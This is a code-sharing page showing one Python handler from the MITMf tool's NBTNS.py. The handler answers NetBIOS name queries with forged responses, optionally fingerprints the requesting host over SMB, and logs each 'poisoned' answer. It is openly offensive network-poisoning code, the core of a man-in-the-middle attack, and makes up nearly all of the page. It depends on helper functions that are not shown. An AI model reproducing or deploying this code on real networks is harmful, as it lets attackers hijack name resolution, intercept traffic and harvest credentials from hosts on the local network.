NBTNS.py 文件源码

python
阅读 26 收藏 0 点赞 0 评论 0

项目:MITMf 作者: wi-fi-analyzer 项目源码 文件源码
def handle(self):

        data, socket = self.request
        Name = Decode_Name(data[13:45])

        # Break out if we don't want to respond to this host
        if RespondToThisHost(self.client_address[0], Name) is not True:
            return None

        if data[2:4] == "\x01\x10":

            if settings.Config.Finger_On_Off:
                Finger = fingerprint.RunSmbFinger((self.client_address[0],445))
            else:
                Finger = None

            # Analyze Mode
            if settings.Config.AnalyzeMode:
                settings.Config.AnalyzeLogger.warning("{} [Analyze mode: NBT-NS] Request for {}, ignoring".format(self.client_address[0], Name))

            # Poisoning Mode
            else:
                Buffer = NBT_Ans()
                Buffer.calculate(data)
                socket.sendto(str(Buffer), self.client_address)

                settings.Config.PoisonersLogger.warning("{} [NBT-NS] Poisoned answer for name {} (service: {})" .format(self.client_address[0], Name, NBT_NS_Role(data[43:46])))

            if Finger is not None:
                settings.Config.ResponderLogger.info("[FINGER] OS Version     : {}".format(Finger[0]))
                settings.Config.ResponderLogger.info("[FINGER] Client Version : {}".format(Finger[1]))
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号